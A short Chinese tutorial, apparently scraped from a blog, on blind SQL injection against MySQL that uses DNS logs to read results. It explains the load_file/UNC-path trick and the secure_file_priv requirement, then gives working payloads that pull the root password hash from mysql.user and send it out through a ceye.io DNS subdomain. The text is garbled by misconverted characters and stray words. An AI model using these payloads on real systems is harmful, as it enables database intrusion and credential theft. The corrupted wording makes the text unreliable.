利用DNS日誌進行MySQL盲注

0x01 技術原理


這裏是利用load_file這個函數利用smb請求方式請求域名機器下的一個文件,因爲計算機對該域名不熟悉因此須要優先請求DNS,因此咱們經過DNS日誌記錄中的內容來獲取回顯。解決了盲注回顯的問題,或者是時間注入判斷的問題。
熟悉MySQL的人都知道,這個利用有幾個要求或者說是限制條件python

# 條件1
+  一、因爲基於SMB請求,須要在Windows環境下
# 條件2
+  二、須要MySQL的配置支持,主要是這個配置須要爲空
secure_file_priv

0x02 測試


0x02 - 01 簡單的load權限查看


show global variables like '%secure%';


這裏知足要求,若是不知足,能夠在my.ini或者my.cnf等mysql服務的配置文件中修改[mysqld]項,須要加上以下這行:mysql

secure_file_priv =

0x02 - 02 load一個域名下的文件試試看


select load_file('\\\\root.xxxxxx.ceye.io\\abc');

0x03 - 03 使用拼接函數,對咱們想要獲取的數據進行拼接


select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')

0x02 - 04


select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));

相關文章
相關標籤/搜索